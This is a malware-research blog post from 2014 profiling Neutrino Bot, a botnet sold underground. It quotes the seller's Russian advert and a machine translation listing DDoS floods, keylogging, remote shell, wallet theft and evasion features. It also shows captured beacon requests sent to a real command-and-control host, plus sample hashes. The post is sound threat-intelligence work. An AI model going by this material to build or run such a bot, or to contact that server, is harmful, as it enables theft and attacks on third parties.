

# Neutrino Bot (aka MS:Win32/Kasidet)

---

 [malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html](http://malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html)

2014-06-18 - Connect the dots



Advertised on underground by n3utrino since december 2013 Neutrino Bot is another "HTTP stress testing tool" , read DDos Bot.



---

### Piece of the advert

Here is the text of one Advert :

-----  
Neutrino Bot

- Основной функционал

\* HTTP(S) флуд ( методы GET\POST )

\* AntiDDOS флуд ( Эмуляция js\куки )

\* Slowloris флуд

\* Download флуд

\* TCP флуд

\* UDP флуд

\* Лоадер ( exe, dll, vbs, bat ... + возможность указать параметры для запуска файла)

\* Кейлоггер (Multilanguage) (поддержка виртуальных клавиатур (снятие скриншотов в области клика размером 60x60)) ( Возможность слежения за указанным окном )

- \* Command shell ( удалённое выполнение команд с помощью командного интерпретатора windows)
- \* Стилинг файлов по маске ( кошельков bitcoin к примеру )
- \* Запуск браузера с переходом по указанной ссылке ( ака накрутчик просмотров)
- \* Подмена Hosts
- \* Стилинг Win ключей
- \* Размножение ( USB\Archive )
- \* Определение чистоты загрузок ( количество найденных "соседей" на компьютере )
- \* Определение установленного АВ ( на всех ОС Windows кроме серверных )
- \* Обновление
- \* Работа через прокладки
  
- Дополнительные функции
- \* Антиотладка
- \* AntiVM
- \* Детект песочниц
- \* Детект всех онлайн сервисов автоматического анализа
- \* BotKiller
  
- \* Защита бота ( защита процесса\файла\веток реестра )
- \* Неограниченное количество одновременно выполняемых команд ( Некоторые команды имеют более высокий приоритет по отношению к другим и их выполнение останавливает другие )
- \* Неограниченное количество резервных доменов
- \* Тихая работа даже под ограниченной учётной записью
- \* Не нагружает CPU
  
- Функционал админки
- \* Гибкая система создания заданий
- \* Подробная статистика по ботам
- \* Возможность отдавать команды каждому боту или стране отдельно
- \* Настраиваемое время отстука ботов
- \* Сортировка ботов в статье по IP\Онлайну\Стране\OS
- \* Система банов.
  
- Вес несжатого бинарника ~ 50kb ( ЯП - С )
- Бот протестирован на всей линейке Windows, от XP до 8.1 (x32/64)

Ценники -

Полный комплект ( админка + бот + билд на неограниченное кол-во доменов ) - 200\$

Рибилд ( также неогр. кол-во доменов ) - 10\$

Обновление ( функциональное ) - 20\$

Билдер - 550\$

Оплата - WM \ BTC \ Perfect

Бинарник лицензирован, слив - остаётся без поддержки.

-Контакты

ПМ или [email protected] / [email protected]

Справка по командам\Подробное описание функционала - <http://n3utrino.blog.com/>

P.S. Бот никакого отношения к одноимённой связке не имеет.

-----  
Google Translated as :  
-----

## Neutrino Bot

- The main functional

- \* HTTP (S) flood (methods GET \ POST)
- \* AntiDDOS flood (Emulation js \ cookies)
- \* Slowloris flood
- \* Download flood
- \* TCP flood
- \* UDP flood
  
- \* Loader (exe, dll, vbs, bat ... + can specify parameters for running the file)
- \* Keylogger (Multilanguage) (support for virtual keyboards (removal of screenshots in the clique size 60x60)) (possibility to monitor the specified window)
- \* Command shell (remote command execution using shell windows)
- \* Stealing files by mask (eg bitcoin wallets)
- \* Launch the browser with one of these links (aka Cheaters views)
- \* Spoofing Hosts
- \* Stilling Win keys
- \* Reproduction (USB \ Archive)
- \* Purity downloads (number found "neighbors" on the computer)
- \* Identifying the installed AV (on all Windows except Server)
- \* Update
- \* Work through the gasket
  
- Additional Features
- \* Anti debugging
- \* AntiVM
- \* Detect sandboxes
- \* Detect all online services automatic analysis
- \* BotKiller
  
- \* Bot protection (protection process \ file \ registry branches)
- \* Unlimited number of concurrent commands (Some teams have a higher priority than others, and their execution stops others)
- \* Unlimited number of backup domain
- \* Quiet operation even under a limited account
- \* Do not load the CPU
  
- Functional admin
- \* Flexible system for creating jobs
- \* Detailed statistics for bots
- \* Ability to give commands to each country separately or bot

- \* Customizable otstuk bots
- \* Sort bots in Articles IP \ Live \ Country \ OS
- \* System Bans.

- Weight uncompressed binary file ~ 50kb (PL - C)
- Boat tested on the entire line of Windows, from XP to 8.1 (x32/64)

tags -

Full set (+ bot + admin panel to build an unlimited number of domains) - \$ 200

Rebuild (also unlim. Quantity domains) - \$ 10

Update (functional) - \$ 20

Builder - \$ 550

Payment - WM \ BTC \ Perfect

Binary licensed, plums - are left without support.

-Contact

PM or [\[email protected\]](#) / [\[email protected\]](#)

Command Help \ Detailed functional - <http://n3utrino.blog.com/>

P.S. Boat no relation to the same name does not have a bunch.

-----  
As you can see it's advertised in the open :



---

N3utrino Blog - Information



---

N3utrino blog - Price



---

N3utrino blog - Screenshots

Screenshots provided by the coder on the blog and in forums :





---

Neutrino - Index



---

Neutrino - Clients



---

Neutrino - Clients 2



---

Neutrino - Stats



---

### Neutrino - Stats 2

Coder also provided the panel on underground.



---

piece of the Neutrino panel code.

I met one of those bot (v2.5 - [dab012115fa267d95c1145a1eb41d38d](#)) as a second stage of an Andromeda pushed in Nuclear Pack (the one [featured here](#))

Here is Neutrino calling back home (cf attached pcap) :

<a href="http://nav1111sto.mcdir.ru/modopo/tasks.php">http://nav1111sto.mcdir.ru/modopo/tasks.php</a>	<pre>POST /modopo/tasks.php HTTP/1.0 Host: nav1111sto.mcdir.ru User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0 Content-type: application/x-www-form-urlencoded Cookie: session=21232f297a57a5a743894a0e4a801fc3 Content-length: 8  ping=1</pre>
<a href="http://nav1111sto.mcdir.ru/modopo/tasks.php">http://nav1111sto.mcdir.ru/modopo/tasks.php</a>	<pre>POST /modopo/tasks.php HTTP/1.0 Host: nav1111sto.mcdir.ru User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0 Content-type: application/x-www-form-urlencoded Cookie: session=21232f297a57a5a743894a0e4a801fc3 Content-length: 137  getcmd=1&amp;uid=D2BDB99374A80FB8&amp;os=Windows+XP+PRO+(x32)&amp;av=Not+installed&amp;nat=yes&amp;version=2.5&amp;serial=D FW32-R7WFG-[redacted]-[redacted]-777GD&amp;quality=0</pre>

**Files :** [Pcap - Panel \(as v2.1\) - Bot v2.5](#)

**Hashes :** [dab012115fa267d95c1145a1eb41d38d](#) (2.5)

[bb42fce5d9cb73561ec4e3c343c10d52](#) (2.1)

[e6ea45deca7e9dd9afeb276ec1d4509c](#) (2.0)

[ce5c86fb4c44a7655ed6caaf42a688b3](#) 2.6 - Pushed in Infinity - 2014-06-19 **Read more :**

[Barclays Transaction Notification contains "Neutrino Downloader"](#) - 2014-04-10 - Kimberly - StopMalvertising

**Post Publication Reading :**

[A Glance Into the Neutrino Botnet](#) - 2014-06-23 - Umesh Wanve - McAfee